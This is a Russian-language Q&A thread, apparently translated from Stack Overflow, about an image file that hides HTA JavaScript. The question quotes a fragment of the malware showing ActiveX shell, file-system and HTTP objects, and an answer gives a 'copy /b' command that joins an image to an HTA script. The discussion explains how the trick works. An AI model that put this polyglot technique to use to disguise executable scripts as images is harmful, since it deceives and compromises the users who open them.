Встраивание Javascript в файл изображения - PullRequest
3 голосов
/ 08 августа 2010

Я заметил новую тенденцию в распространении потенциально небезопасного кода, когда люди публикуют изображение на сервере с водяным знаком, предлагающим изменить имя файла на расширение .HTA.

Я понял, что.HTA - это файл HTML-приложения, которому, по логике Microsoft, неявно доверяют, и он может содержать код, позволяющий делать практически все, что связано с Интернетом.Я открыл файл в своем любимом текстовом редакторе, и, к моему изумлению, в файле изображения был код Javascript!

jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV

//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");

Под исходным кодом также есть более искаженные данные изображений.Это всего лишь фрагмент.

Мне очень любопытно узнать, как им удалось добавить код Javascript в файл изображения, не повреждая формат файла изображения и не делая его недоступным для просмотра.Я представил это некоторым из моих сотрудников, и они были одинаково озадачены.

Ответы [ 2 ]

1 голос
/ 11 мая 2012

Проблема здесь в либеральных допусках формата файла.

Интерпретатор JPG достаточно прощающий, чтобы игнорировать «поврежденные» данные без изображения. Вот как вы можете просматривать большой JPG, пока он еще загружается. Интерпретатор HTA достаточно простителен, чтобы игнорировать весь странный «текст» в верхней части файла и приступить к оценке материала, который выглядит как разметка и сценарий ниже.

Здесь есть еще один пост об этом странном поведении: Можно ли вставить значок в файл .hta? В нем Александр Жасмин предлагает встроить значок в HTA с помощью следующей командной строки:

      copy /b icon.ico+source.hta iconapp.hta

Изображение / скрипт, который вы нашли, мог быть создан с использованием этой техники.

Вы не включили весь сценарий, но то, что вы показываете, выглядит довольно страшно. Сценарий HTA с объектом веб-соединения, оболочки и файловой системы может делать все, что он хочет с вашей локальной файловой системой, а затем позвонить домой, как только это будет сделано.

1 голос
/ 08 августа 2010

Я предполагаю, что это какой-то многокомпонентный файл (для которого было бы прекрасно содержать как изображения, так и данные сценария), который может быть выполнен сразу (в локальном контексте), поскольку он обрабатывается как гипертекст Применение.

Для получения дополнительной информации нам нужно увидеть полный фактический файл.

...